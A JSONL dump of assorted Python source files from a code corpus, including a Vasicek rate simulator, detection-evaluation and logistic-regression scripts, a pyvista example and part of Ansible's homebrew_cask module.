self.get_yield_data()\n\n # inialize model params \n self.b = self.get_long_term_avg()\n self.a = 0.01\n self.sigma = self.get_std()\n\n self.interest_diffs = self.find_interest_rate_diff() \n self.a, self.b, self.sigma = self.find_params()\n\n self.t = time \n self.num_subprocesses = 252*self.t\n self.dt = self.t / self.num_subprocesses \n self.rates = [self.get_current_rate()]\n\n def normpdf(self, x, mean, sd):\n var = float(sd)**2\n denom = (2*math.pi*var)**.5\n num = math.exp(-(float(x)-float(mean))**2/(2*var))\n return num/denom\n\n def minimization_function(self, params):\n modeled_drift = []\n for i in range(1, len(self.interest_diffs) + 1):\n modeled_drift.append(params[0]*(params[1] - (self.yield_data[i-1] / 100)))\n\n sum_log_normpdf = 0\n for i in range(len(self.interest_diffs)):\n if self.normpdf(self.interest_diffs[i] - modeled_drift[i], 0, params[2]) > 0:\n sum_log_normpdf += math.log(self.normpdf(self.interest_diffs[i] - modeled_drift[i], 0, params[2])) \n\n return -1*sum_log_normpdf \n \n def find_params(self):\n x0 = [self.a, self.b, self.sigma]\n res = minimize(self.minimization_function, x0, method='Nelder-Mead')\n return res['x']\n\n def get_yield_data(self):\n data = list(pd.read_excel('DGS10.xls')['DGS10'])\n for i in range(len(data)):\n if data[i] == 0:\n data[i] = data[i-1]\n return data\n \n def find_interest_rate_diff(self):\n rates = list(self.yield_data)\n interest_diff = []\n for i in range(1, len(rates)):\n interest_diff.append((rates[i] / 100) - (rates[i-1] / 100))\n return interest_diff \n \n def get_current_rate(self):\n return self.yield_data[-1]\n\n def get_long_term_avg(self):\n return np.mean(self.yield_data[-730:])\n\n def get_std(self):\n return np.std(self.yield_data[-30:])\n\n def vasicek(self):\n for i in range(self.num_subprocesses):\n self.rates.append(self.rates[-1] + self.a*(self.b-self.rates[-1])*self.dt + self.sigma*np.random.normal())\n return self.rates\n \n def show_rates(self):\n x = range(self.num_subprocesses+1)\n for i in range(100):\n y = self.vasicek()\n plt.plot(x,y)\n self.rates = [self.get_current_rate()]\n plt.title('Vasicek Model')\n plt.show()\n","sub_path":"vasicek.py","file_name":"vasicek.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"173322722","text":"# This script scans for Sample X numConnections Y.csv files wihin the current directory, and parses them, adding # Diff and BytesSum Diff columns to the end\n\nimport csv\nimport os\nimport re\nimport sys\nimport time\nfrom decimal import Decimal\n\n# These numbers of peers are repeated\nconnectionSequence = ['1', '2', '4', '8', '16', '32', '64', '128', '256', '512'];\n\nos.system('clear')\n\nprint()\nprint('Number of connections order: ' + str(connectionSequence))\nmodifyConnectionSequence = input('Would you like to modify this? ').lower() in ['y', 'yes']\nif modifyConnectionSequence:\n\tconnectionSequence = input('Enter a new connection sequence (separated by spaces): ').split()\n\t#connectionSequenceStr = input('Enter a new connection sequence (separated by spaces): ').split()\n\t#connectionSequence = [int(s) for s in connectionSequenceStr]\nprint()\n\ndef logHeader():\n\tline = 'LineNum,'\n\tline += 'PlotNum,'\n\tline += 'PlotName,'\n\tfor i in connectionSequence:\n\t\tline += str(i) + ','\n\toutputFile.write(line + '\\n')\n\n# Given all the columns, and a list of column indexes for each data point, log a line/row\ndef logLine(lineNum, plotNum, plotName, indexes, columns, columnIndex):\n\tprint(f'Logging line {lineNum}')\n\tline = str(lineNum) + ','\n\tline += str(plotNum) + ','\n\tline += str(plotName) + ','\n\tfor index in indexes:\n\t\tline += str(columns[columnIndex][index]) + ','\n\toutputFile.write(line + '\\n')\n\n# Main\nif __name__ == '__main__':\n\treaderFile = open('Raw Rate Info.csv', 'r')\n\treader = csv.reader(x.replace('\\0', '') for x in readerFile)\n\theader = next(reader)\n\n\t# Generate a list of sorted rows\n\trows = []\n\tfor row in reader:\n\t\trows.append(row)\n\trows.sort(key = lambda x: float(x[1]))\n\treaderFile.close()\n\n\t# Generate a list of columns\n\tcolumns = []\n\tfor title in header:\n\t\tcolumns.append([])\n\tfor row in rows:\n\t\ti = 0\n\t\tfor cell in row:\n\t\t\tcolumns[i].append(cell)\n\t\t\ti += 1\n\n\toutputFile = open(f'Graphable Rate Info.csv', 'w', newline='')\n\tlogHeader()\n\n\t# Go through the number of connections (sorted by sample number)\n\t# For every full match to connectionSequence, log a line's data on the output\n\tcolumnIndex = 0\n\tlineIndex = 0\n\tlineIndexes = []\n\tlines = []\n\tprint('Searching for full line matches:')\n\tfor numConnections in columns[2]:\n\t\tif numConnections == connectionSequence[lineIndex]:\n\t\t\tlineIndexes.append(columnIndex)\n\t\t\tlineIndex += 1\n\t\telse:\n\t\t\tlineIndexes = []\n\t\t\tlineIndex = 0\n\t\tprint(numConnections, lineIndexes)\n\t\tif lineIndex == len(connectionSequence):\n\t\t\tprint('Line match found!')\n\t\t\tlines.append(lineIndexes.copy())\n\t\t\tlineIndexes = []\n\t\t\tlineIndex = 0\n\t\tcolumnIndex += 1\n\n\t# For each set of line indexes, we'll want to generate a set of lines for each column\n\tlineNum = 1\n\tplotNum = 1\n\trowIndex = 4\n\tfor plotName in header[4:]: # Skip the first few header items that we don't want graphed, such as file name\n\t\tfor lineIndexes in lines:\n\t\t\tlogLine(lineNum, plotNum, plotName, lineIndexes, columns, rowIndex)\n\t\t\tlineNum += 1\n\t\tplotNum += 1\n\t\trowIndex += 1\n\t\n\toutputFile.close()\n\n\tprint('Done!')","sub_path":"tools/Plotting 1 to 512 peers/Previous without correct confidence interval/3_PostProcessRates_MakeGraphable.py","file_name":"3_PostProcessRates_MakeGraphable.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"30624827","text":"# Plot evenly spaced streamlines for cylinder in a crossflow.\n# This dataset is a multiblock dataset, and the fluid velocity is in the\n# first block.\n#\nimport pyvista\nfrom pyvista import examples\nmesh = examples.download_cylinder_crossflow()\nstreams = mesh[0].streamlines_evenly_spaced_2D(\n start_position=(4, 0.1, 0.0),\n separating_distance=3,\n separating_distance_ratio=0.2,\n)\nplotter = pyvista.Plotter()\n_ = plotter.add_mesh(\n streams.tube(radius=0.02), scalars=\"vorticity_mag\"\n)\nplotter.view_xy()\nplotter.show()\n","sub_path":"version/0.41/api/core/_autosummary/pyvista-DataSetFilters-streamlines_evenly_spaced_2D-1.py","file_name":"pyvista-DataSetFilters-streamlines_evenly_spaced_2D-1.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"23910758","text":"import os\nimport json\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef compute_iou(box_1, box_2):\n '''\n This function takes a pair of bounding boxes and returns intersection-over-\n union (IoU) of two bounding boxes.\n '''\n intersection = 0\n tlr1, tlc1, brr1, brc1 = box_1[0], box_1[1], box_1[2], box_1[3]\n tlr2, tlc2, brr2, brc2 = box_2[0], box_2[1], box_2[2], box_2[3]\n dx = min(brr1, brr2) - max(tlr1, tlr2)\n dy = min(brc1, brc1) - max(tlc1, tlc2)\n if (dx>=0) and (dy>=0):\n intersection = dx * dy\n\n area1 = (brc1 - tlc1) * (brr1 - tlr1)\n area2 = (brc2 - tlc2) * (brr2 - tlr2)\n union = area1 + area2 - intersection \n iou = intersection / union\n \n assert (iou >= 0) and (iou <= 1.0)\n\n return iou\n\n\ndef compute_counts(preds, gts, iou_thr=0.5, conf_thr=0.5):\n '''\n This function takes a pair of dictionaries (with our JSON format; see ex.) \n corresponding to predicted and ground truth bounding boxes for a collection\n of images and returns the number of true positives, false positives, and\n false negatives. \n is a dictionary containing predicted bounding boxes and confidence\n scores for a collection of images.\n is a dictionary containing ground truth bounding boxes for a\n collection of images.\n '''\n TP = 0\n FP = 0\n FN = 0\n\n for pred_file, pred in preds.items():\n gt = gts[pred_file]\n for i in range(len(gt)):\n not_found = True\n for j in range(len(pred)):\n iou = compute_iou(pred[j][:4], gt[i])\n if iou >= iou_thr and pred[j][4] >= conf_thr:\n TP += 1\n not_found = False\n break\n elif pred[j][4] >= conf_thr:\n FP += 1\n not_found = False\n break\n if not_found:\n FN += 1\n\n return TP, FP, FN\n\n# set a path for predictions and annotations:\npreds_path = 'hw02_preds'\ngts_path = 'hw02_annotations'\n\n# load splits:\nsplit_path = 'hw02_splits'\nfile_names_train = np.load(os.path.join(split_path,'file_names_train.npy'))\nfile_names_test = np.load(os.path.join(split_path,'file_names_test.npy'))\n\n# Set this parameter to True when you're done with algorithm development:\ndone_tweaking = True\n\n'''\nLoad training data. \n'''\nwith open(os.path.join(preds_path,'preds_train.json'),'r') as f:\n preds_train = json.load(f)\n \nwith open(os.path.join(gts_path, 'annotations_train.json'),'r') as f:\n gts_train = json.load(f)\n\nif done_tweaking:\n \n '''\n Load test data.\n '''\n \n with open(os.path.join(preds_path,'preds_test.json'),'r') as f:\n preds_test = json.load(f)\n \n with open(os.path.join(gts_path, 'annotations_test.json'),'r') as f:\n gts_test = json.load(f)\n\n\n# For a fixed IoU threshold, vary the confidence thresholds.\n# The code below gives an example on the training set for one IoU threshold. \n\ndef compute_PR(iou, preds, gts):\n lst = []\n for fname in preds:\n if preds[fname] != []:\n for pred in preds[fname]:\n lst.append(pred[4])\n confidence_thrs = np.sort(np.array(lst,dtype=float)) # using (ascending) list of confidence scores as thresholds\n tp = np.zeros(len(confidence_thrs))\n fp = np.zeros(len(confidence_thrs))\n fn = np.zeros(len(confidence_thrs))\n for i, conf_thr in enumerate(confidence_thrs):\n tp[i], fp[i], fn[i] = compute_counts(preds, gts, iou_thr=iou, conf_thr=conf_thr)\n\n # Plot training set PR curves\n recall = np.zeros(len(confidence_thrs))\n precision = np.zeros(len(confidence_thrs))\n for i, elem in enumerate(tp):\n precision[i] = tp[i]/(tp[i] + fp[i])\n recall[i] = tp[i]/(tp[i] + fn[i])\n \n return recall, precision\n\nrecall, precision = compute_PR(0.5, preds_train, gts_train)\nrecall_l, precision_l = compute_PR(0.25, preds_train, gts_train)\nrecall_m, precision_m = compute_PR(0.75, preds_train, gts_train)\n\nplt.plot(recall, precision, color='black', marker='o')\nplt.plot(recall_l, precision_l, color='blue', marker='o')\nplt.plot(recall_m, precision_m, color='green', marker='o')\nplt.legend([\"IOU 0.5\", \"IOU 0.25\", \"IOU 0.75\"])\nplt.title(\"PR Curves Training\")\nplt.xlabel(\"Recall\")\nplt.ylabel(\"Precision\")\nplt.show()\n\nif done_tweaking:\n print('Code for plotting test set PR curves.')\n\n recall, precision = compute_PR(0.5, preds_test, gts_test)\n recall_l, precision_l = compute_PR(0.25, preds_test, gts_test)\n recall_m, precision_m = compute_PR(0.75, preds_test, gts_test)\n\n plt.figure()\n plt.plot(recall, precision, color='black', marker='o')\n plt.plot(recall_l, precision_l, color='blue', marker='o')\n plt.plot(recall_m, precision_m, color='green', marker='o')\n plt.legend([\"IOU 0.5\", \"IOU 0.25\", \"IOU 0.75\"])\n plt.title(\"PR Curves Testing\")\n plt.xlabel(\"Recall\")\n plt.ylabel(\"Precision\")\n plt.show()\n\n\n","sub_path":"eval_detector.py","file_name":"eval_detector.py","file_ext":"py","file_size_in_byte":4938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"32639495","text":"import sys\nimport numpy as np\nfrom sklearn.linear_model import LogisticRegression # use this package\nfrom sklearn.utils import shuffle\nimport time\nimport threading\nimport argparse\n\n\n# for counting file lines\ndef file_len(f_name):\n with open(f_name) as f:\n for i, l in enumerate(f):\n pass\n return i + 1\n\nparser = argparse.ArgumentParser(description=\"Read in input and output filenames.\")\nparser.add_argument(\"--input-label-train\", nargs=\"?\", help=\"Input label train.\", type=str)\nparser.add_argument(\"--input-label-test\", nargs=\"?\", help=\"Input label test.\", type=str)\nparser.add_argument(\"--input-embedding\", nargs=\"?\", help=\"Input embedding\", type=str)\nparser.add_argument(\"--output-file\", nargs=\"?\", help=\"Output filename.\", type=str)\nargs = parser.parse_args()\n\n\ninput_label_train = args.input_label_train\ninput_label_test = args.input_label_test\ninput_embedding=args.input_embedding\noutput_test_score = args.output_file\n\n\n\n\n\n\"\"\"\nTrain logit model\n\"\"\"\nstart_time = time.time()\nembedding_dict={}\nwith open(input_embedding, \"r\") as f_in:\n num_nodes, dim = map(int, f_in.readline().strip().split()) # first line is special\n count=0\n for line in f_in:\n line_split = line.strip().split()\n a=list(map(float, line_split[1:]))\n embedding_dict[line_split[0]] = np.asarray(a)\n count+=1\n assert len(embedding_dict) == num_nodes, \"Number of nodes does not agree.\"\n \nprint (\"Embedding loading done.\", num_nodes, \"nodes with dim\", dim, \"from\", input_embedding)\n\nfeature_train_dic={}\nfeature_train_list = []\nwith open(input_label_train, \"r\") as f_in:\n count=0\n for line in f_in:\n line=line.strip().split()\n node_1=embedding_dict[line[0]]\n\n node_2=embedding_dict[line[1]]\n edge=line[-1]\n y_value=line[2]\n if edge not in feature_train_dic:\n feature_train_dic[edge]={}\n feature_train_dic[edge]['tuple']=[]\n feature_train_dic[edge]['yvalue']=[]\n feature_train_dic[edge]['tuple'].append(np.multiply(node_1,node_2))\n feature_train_dic[edge]['yvalue'].append(y_value)\n if edge!='PP':\n edge_reverse=edge[::-1]\n if edge_reverse not in feature_train_dic:\n feature_train_dic[edge_reverse]={}\n feature_train_dic[edge_reverse]['tuple']=[]\n feature_train_dic[edge_reverse]['yvalue']=[]\n feature_train_dic[edge_reverse]['tuple'].append(np.multiply(node_1,node_2))\n feature_train_dic[edge_reverse]['yvalue'].append(y_value)\n count+=1\n if count%100000==0:\n print(count,' tuples read')\n \nfor edge in feature_train_dic.keys():\n f=[]\n f.append(np.array(feature_train_dic[edge]['tuple']))\n feature_train_dic[edge]['Xtrain']= np.hstack(tuple(f))\n num_instance_train = len(feature_train_dic[edge]['tuple'])\n feature_train_dic[edge]['tuple']=[]\n assert num_instance_train == feature_train_dic[edge]['Xtrain'].shape[0], \"Train instance numbers do not match.\"\n y_train = np.zeros(num_instance_train)\n for i in range(num_instance_train):\n y_train[i] = int(feature_train_dic[edge]['yvalue'][i])\n feature_train_dic[edge]['ytrain']=y_train\n print(edge,' finished')\n\nend_time = time.time()\nprint (\"Train features loading and stacking done. Time: {0}s seconds. \".format((end_time - start_time)))\n \nstart_time = time.time()\nfor edge in feature_train_dic.keys():\n print('now training ',edge)\n logit_model = LogisticRegression(solver=\"sag\",max_iter=1000) \n feature_train_dic[edge]['model']=logit_model\n\nthreads=[]\nfor edge in feature_train_dic.keys():\n t = threading.Thread(target=feature_train_dic[edge]['model'].fit, args=(feature_train_dic[edge]['Xtrain'], feature_train_dic[edge]['ytrain']),name=edge)\n threads.append(t)\n t.start()\n '''\n X_shuf, Y_shuf = shuffle(feature_train_dic[edge]['Xtrain'], feature_train_dic[edge]['ytrain'])\n logit_model = logit_model.fit(X_shuf, Y_shuf) \n feature_train_dic[edge]['model']=logit_model\n print(edge,' training is done.')'''\nhas_running = True\nwhile has_running:\n num_done = 0\n for t in threads:\n if not t.isAlive():\n # get results from thtead\n print(t.getName(),' training is done')\n num_done += 1\n if num_done == len(threads):\n break\n else:\n time.sleep(3)\nend_time = time.time()\n\nprint (\"Logit model fitting done. Training time: %s seconds\" % (end_time - start_time))\n\n\n\n\"\"\"\nPredict on test\n\"\"\"\nstart_time = time.time()\nfeature_test_dic={}\nwith open(input_label_test, \"r\") as f_in:\n count=0\n for line in f_in:\n line=line.strip().split()\n node_1=embedding_dict[line[0]]\n node_2=embedding_dict[line[1]]\n edge=line[-1]\n yvalue=line[2]\n if edge not in feature_test_dic:\n feature_test_dic[edge]={}\n feature_test_dic[edge]['tuple']=[]\n #feature_test_dic[edge]['line']=[]\n feature_test_dic[edge]['current']=0\n feature_test_dic[edge]['tuple'].append(np.multiply(node_1,node_2))\n #feature_test_dic[edge]['line'].append([line[0],line[1]])\nend_time = time.time()\nprint('finished reading test file, time: ', (end_time - start_time))\n\n\nfor edge in feature_test_dic.keys():\n f=[]\n f.append(np.array(feature_test_dic[edge]['tuple']))\n feature_test_dic[edge]['Xtest']=np.hstack(tuple(f))\n num_instance_test = len(feature_test_dic[edge]['tuple'])\n assert num_instance_test == feature_test_dic[edge]['Xtest'].shape[0], \"Test instance numbers do not match.\"\n# compute predicted value for file_2; a row of X_test is the vector -- emb(node_1) \n#hadamard-prod emb(node_2) -- where node_1 and node_2 are the two nodes on a line of file *2*\n proba_test = logit_model.predict_proba(feature_test_dic[edge]['Xtest'])\n #print(proba_test[:,1])\n feature_test_dic[edge]['p_test']=proba_test[:,1]\n feature_test_dic[edge]['Xtest']=[]\n print('finished proba: ', edge)\n\n\n## output a file with same format as file_2, with the third column replaced by your predicted value as in proba_test\n\n## summary: input -- file_2, file_3, embedding file;\n##\t\t\toutput -- the file similar to file_2 with third column replace and \n## note: please be careful that for each edge type (r), a different model will be trained and used for prediction\n## example files: \tfile_2 -- /shared/data/yushi2/edge_rep_codes/input_data/dblp_0.2_out_20neg_eval_fast.txt\n## \t\t\t\t\tfile_3 -- /shared/data/yushi2/edge_rep_codes/input_data/dblp_0.2_out_for_logit_training.txt\n## \t\t\t\t\temb_file -- /shared/data/yushi2/edge_rep_codes/input_data/dblp_0.2_out_line_samples100000_alpha0.1_dim128.emb\n\nwith open(input_label_test, \"r\") as f_in,open(output_test_score, \"w+\") as f_out:\n content=\"\"\n rd=0\n for line in f_in:\n line=line.strip().split()\n edge=line[-1]\n current=feature_test_dic[edge]['current']\n temp=line[0]+' '+line[1]+' '+str(feature_test_dic[edge]['p_test'][current])+' '+edge+'\\n'\n #print(temp)\n current+=1\n feature_test_dic[edge]['current']=current\n content=content+temp\n rd+=1\n if rd%50000==0:\n print (rd,'lines finished')\n f_out.write(content)\n content=''\n f_out.write(content)\n f_out.close()\n \n\n\n\n\n\n\n\n\n","sub_path":"aux/logit.py","file_name":"logit.py","file_ext":"py","file_size_in_byte":7330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"608265302","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# (c) 2013, Daniel Jaouen \n# (c) 2016, Indrajit Raychaudhuri \n#\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\n\nANSIBLE_METADATA = {'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'community'}\n\n\nDOCUMENTATION = '''\n---\nmodule: homebrew_cask\nauthor:\n - \"Indrajit Raychaudhuri (@indrajitr)\"\n - \"Daniel Jaouen (@danieljaouen)\"\n - \"Enric Lluelles (@enriclluelles)\"\nrequirements:\n - \"python >= 2.6\"\nshort_description: Install/uninstall homebrew casks.\ndescription:\n - Manages Homebrew casks.\nversion_added: \"1.6\"\noptions:\n name:\n description:\n - name of cask to install/remove\n required: true\n aliases: ['pkg', 'package', 'cask']\n path:\n description:\n - \"':' separated list of paths to search for 'brew' executable.\"\n default: '/usr/local/bin'\n state:\n description:\n - state of the cask\n choices: [ 'present', 'absent', 'upgraded' ]\n default: present\n sudo_password:\n description:\n - The sudo password to be passed to SUDO_ASKPASS.\n required: false\n version_added: 2.8\n update_homebrew:\n description:\n - update homebrew itself first. Note that C(brew cask update) is\n a synonym for C(brew update).\n type: bool\n default: 'no'\n aliases: ['update-brew']\n version_added: \"2.2\"\n install_options:\n description:\n - options flags to install a package\n aliases: ['options']\n version_added: \"2.2\"\n accept_external_apps:\n description:\n - allow external apps\n type: bool\n default: 'no'\n version_added: \"2.5.0\"\n upgrade_all:\n description:\n - upgrade all casks (mutually exclusive with `upgrade`)\n type: bool\n default: 'no'\n version_added: \"2.5.0\"\n upgrade:\n description:\n - upgrade all casks (mutually exclusive with `upgrade_all`)\n type: bool\n default: 'no'\n version_added: \"2.5.0\"\n greedy:\n description:\n - upgrade casks that auto update; passes --greedy to brew cask\n outdated when checking if an installed cask has a newer version\n available\n type: bool\n default: 'no'\n version_added: \"2.7.0\"\n'''\nEXAMPLES = '''\n- homebrew_cask:\n name: alfred\n state: present\n\n- homebrew_cask:\n name: alfred\n state: absent\n\n- homebrew_cask:\n name: alfred\n state: present\n install_options: 'appdir=/Applications'\n\n- homebrew_cask:\n name: alfred\n state: present\n install_options: 'debug,appdir=/Applications'\n\n- homebrew_cask:\n name: alfred\n state: present\n accept_external_apps: True\n\n- homebrew_cask:\n name: alfred\n state: absent\n install_options: force\n\n- homebrew_cask:\n upgrade_all: true\n\n- homebrew_cask:\n name: alfred\n state: upgraded\n install_options: force\n\n- homebrew_cask:\n name: 1password\n state: upgraded\n greedy: True\n\n- homebrew_cask:\n name: wireshark\n state: present\n sudo_password: \"{{ ansible_become_pass }}\"\n\n'''\n\nimport os\nimport re\nimport tempfile\n\nfrom ansible.module_utils._text import to_bytes\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils.six import iteritems, string_types\n\n\n# exceptions -------------------------------------------------------------- {{{\nclass HomebrewCaskException(Exception):\n pass\n# /exceptions ------------------------------------------------------------- }}}\n\n\n# utils ------------------------------------------------------------------- {{{\ndef _create_regex_group(s):\n lines = (line.strip() for line in s.split('\\n') if line.strip())\n chars = filter(None, (line.split('#')[0].strip() for line in lines))\n group = r'[^' + r''.join(chars) + r']'\n return re.compile(group)\n# /utils ------------------------------------------------------------------ }}}\n\n\nclass HomebrewCask(object):\n '''A class to manage Homebrew casks.'''\n\n # class regexes ------------------------------------------------ {{{\n VALID_PATH_CHARS = r'''\n \\w # alphanumeric characters (i.e., [a-zA-Z0-9_])\n \\s # spaces\n : # colons\n {sep} # the OS-specific path separator\n . # dots\n - # dashes\n '''.format(sep=os.path.sep)\n\n VALID_BREW_PATH_CHARS = r'''\n \\w # alphanumeric characters (i.e., [a-zA-Z0-9_])\n \\s # spaces\n {sep} # the OS-specific path separator\n . # dots\n - # dashes\n '''.format(sep=os.path.sep)\n\n VALID_CASK_CHARS = r'''\n \\w # alphanumeric characters (i.e., [a-zA-Z0-9_])\n . # dots\n / # slash (for taps)\n - # dashes\n '''\n\n INVALID_PATH_REGEX = _create_regex_group(VALID_PATH_CHARS)\n INVALID_BREW_PATH_REGEX = _create_regex_group(VALID_BREW_PATH_CHARS)\n INVALID_CASK_REGEX = _create_regex_group(VALID_CASK_CHARS)\n # /class regexes ----------------------------------------------- }}}\n\n # class validations -------------------------------------------- {{{\n @classmethod\n def valid_path(cls, path):\n '''\n `path` must be one of:\n - list of paths\n - a string containing only:\n - alphanumeric characters\n - dashes\n - dots\n - spaces\n - colons\n - os.path.sep\n '''\n\n if isinstance(path, (string_types)):\n return not cls.INVALID_PATH_REGEX.search(path)\n\n try:\n iter(path)\n except TypeError:\n return False\n else:\n paths = path\n return all(cls.valid_brew_path(path_) for path_ in paths)\n\n @classmethod\n def valid_brew_path(cls, brew_path):\n '''\n `brew_path` must be one of:\n - None\n - a string containing only:\n - alphanumeric characters\n - dashes\n - dots\n - spaces\n - os.path.sep\n '''\n\n if brew_path is None:\n return True\n\n return (\n isinstance(brew_path, string_types)\n and not cls.INVALID_BREW_PATH_REGEX.search(brew_path)\n )\n\n @classmethod\n def valid_cask(cls, cask):\n '''A valid cask is either None or alphanumeric + backslashes.'''\n\n if cask is None:\n return True\n\n return (\n isinstance(cask, string_types)\n and not cls.INVALID_CASK_REGEX.search(cask)\n )\n\n @classmethod\n def valid_state(cls, state):\n '''\n A valid state is one of:\n - installed\n - absent\n '''\n\n if state is None:\n return True\n else:\n return (\n isinstance(state, string_types)\n and state.lower() in (\n 'installed',\n 'absent',\n )\n )\n\n @classmethod\n def valid_module(cls, module):\n '''A valid module is an instance of AnsibleModule.'''\n\n return isinstance(module, AnsibleModule)\n # /class validations ------------------------------------------- }}}\n\n # class properties --------------------------------------------- {{{\n @property\n def module(self):\n return self._module\n\n @module.setter\n def module(self, module):\n if not self.valid_module(module):\n self._module = None\n self.failed = True\n self.message = 'Invalid module: {0}.'.format(module)\n raise HomebrewCaskException(self.message)\n\n else:\n self._module = module\n return module\n\n @property\n def path(self):\n return self._path\n\n @path.setter\n def path(self, path):\n if not self.valid_path(path):\n self._path = []\n self.failed = True\n self.message = 'Invalid path: {0}.'.format(path)\n raise HomebrewCaskException(self.message)\n\n else:\n if isinstance(path, string_types):\n self._path = path.split(':')\n else:\n self._path = path\n\n return path\n\n @property\n def brew_path(self):\n return self._brew_path\n\n @brew_path.setter\n def brew_path(self, brew_path):\n if not self.valid_brew_path(brew_path):\n self._brew_path = None\n self.failed = True\n self.message = 'Invalid brew_path: {0}.'.format(brew_path)\n raise HomebrewCaskException(self.message)\n\n else:\n self._brew_path = brew_path\n return brew_path\n\n @property\n def params(self):\n return self._params\n\n @params.setter\n def params(self, params):\n self._params = self.module.params\n return self._params\n\n @property\n def current_cask(self):\n return self._current_cask\n\n @current_cask.setter\n def current_cask(self, cask):\n if not self.valid_cask(cask):\n self._current_cask = None\n self.failed = True\n self.message = 'Invalid cask: {0}.'.format(cask)\n raise HomebrewCaskException(self.message)\n\n else:\n self._current_cask = cask\n return cask\n # /class properties -------------------------------------------- }}}\n\n def __init__(self, module, path=path, casks=None, state=None,\n sudo_password=None, update_homebrew=False,\n install_options=None, accept_external_apps=False,\n upgrade_all=False, greedy=False):\n if not install_options:\n install_options = list()\n self._setup_status_vars()\n self._setup_instance_vars(module=module, path=path, casks=casks,\n state=state, sudo_password=sudo_password,\n update_homebrew=update_homebrew,\n install_options=install_options,\n accept_external_apps=accept_external_apps,\n upgrade_all=upgrade_all,\n greedy=greedy, )\n\n self._prep()\n\n # prep --------------------------------------------------------- {{{\n def _setup_status_vars(self):\n self.failed = False\n self.changed = False\n self.changed_count = 0\n self.unchanged_count = 0\n self.message = ''\n\n def _setup_instance_vars(self, **kwargs):\n for key, val in iteritems(kwargs):\n setattr(self, key, val)\n\n def _prep(self):\n self._prep_brew_path()\n\n def _prep_brew_path(self):\n if not self.module:\n self.brew_path = None\n self.failed = True\n self.message = 'AnsibleModule not set.'\n raise HomebrewCaskException(self.message)\n\n self.brew_path = self.module.get_bin_path(\n 'brew',\n required=True,\n opt_dirs=self.path,\n )\n if not self.brew_path:\n self.brew_path = None\n self.failed = True\n self.message = 'Unable to locate homebrew executable.'\n raise HomebrewCaskException('Unable to locate homebrew executable.')\n\n return self.brew_path\n\n def _status(self):\n return (self.failed, self.changed, self.message)\n # /prep -------------------------------------------------------- }}}\n\n def run(self):\n try:\n self._run()\n except HomebrewCaskException:\n pass\n\n if not self.failed and (self.changed_count + self.unchanged_count > 1):\n self.message = \"Changed: %d, Unchanged: %d\" % (\n self.changed_count,\n self.unchanged_count,\n )\n (failed, changed, message) = self._status()\n\n return (failed, changed, message)\n\n # checks ------------------------------------------------------- {{{\n def _current_cask_is_outdated(self):\n if not self.valid_cask(self.current_cask):\n return False\n\n cask_is_outdated_command = (\n [\n self.brew_path,\n 'cask',\n 'outdated',\n ]\n + (['--greedy'] if self.greedy else [])\n + [self.current_cask]\n )\n\n rc, out, err = self.module.run_command(cask_is_outdated_command)\n\n return out != \"\"\n\n def _current_cask_is_installed(self):\n if not self.valid_cask(self.current_cask):\n self.failed = True\n self.message = 'Invalid cask: {0}.'.format(self.current_cask)\n raise HomebrewCaskException(self.message)\n\n cmd = [\n \"{brew_path}\".format(brew_path=self.brew_path),\n \"cask\",\n \"list\",\n self.current_cask\n ]\n rc, out, err = self.module.run_command(cmd)\n\n if rc == 0:\n return True\n else:\n return False\n # /checks ------------------------------------------------------ }}}\n\n # commands ----------------------------------------------------- {{{\n def _run(self):\n if self.upgrade_all:\n return self._upgrade_all()\n\n if self.casks:\n if self.state == 'installed':\n return self._install_casks()\n elif self.state == 'upgraded':\n return self._upgrade_casks()\n elif self.state == 'absent':\n return self._uninstall_casks()\n\n self.failed = True\n self.message = \"You must select a cask to install.\"\n raise HomebrewCaskException(self.message)\n\n # sudo_password fix ---------------------- {{{\n def _run_command_with_sudo_password(self, cmd):\n rc, out, err = '', '', ''\n\n with tempfile.NamedTemporaryFile() as sudo_askpass_file:\n sudo_askpass_file.write(b\"#!/bin/sh\\n\\necho '%s'\\n\" % to_bytes(self.sudo_password))\n os.chmod(sudo_askpass_file.name, 0o700)\n sudo_askpass_file.file.close()\n\n rc, out, err = self.module.run_command(\n cmd,\n environ_update={'SUDO_ASKPASS': sudo_askpass_file.name}\n )\n\n self.module.add_cleanup_file(sudo_askpass_file.name)\n\n return (rc, out, err)\n # /sudo_password fix --------------------- }}}\n\n # updated -------------------------------- {{{\n def _update_homebrew(self):\n rc, out, err = self.module.run_command([\n self.brew_path,\n 'update',\n ])\n if rc == 0:\n if out and isinstance(out, string_types):\n already_updated = any(\n re.search(r'Already up-to-date.', s.strip(), re.IGNORECASE)\n for s in out.split('\\n')\n if s\n )\n if not already_updated:\n self.changed = True\n self.message = 'Homebrew updated successfully.'\n else:\n self.message = 'Homebrew already up-to-date.'\n\n return True\n else:\n self.failed = True\n self.message = err.strip()\n raise HomebrewCaskException(self.message)\n # /updated ------------------------------- }}}\n\n # _upgrade_all --------------------------- {{{\n def _upgrade_all(self):\n if self.module.check_mode:\n self.changed = True\n self.message = 'Casks would be upgraded.'\n raise HomebrewCaskException(self.message)\n\n opts = (\n [self.brew_path, 'cask', 'upgrade']\n )\n\n cmd = [opt for opt in opts if opt]\n\n rc, out, err = '', '', ''\n\n if self.sudo_password:\n rc, out, err = self._run_command_with_sudo_password(cmd)\n else:\n rc, out, err = self.module.run_command(cmd)\n\n if rc == 0:\n if re.search(r'==> No Casks to upgrade', out.strip(), re.IGNORECASE):\n self.message = 'Homebrew casks already upgraded.'\n\n else:\n self.changed = True\n self.message = 'Homebrew casks upgraded.'\n\n return True\n else:\n self.failed = True\n self.message = 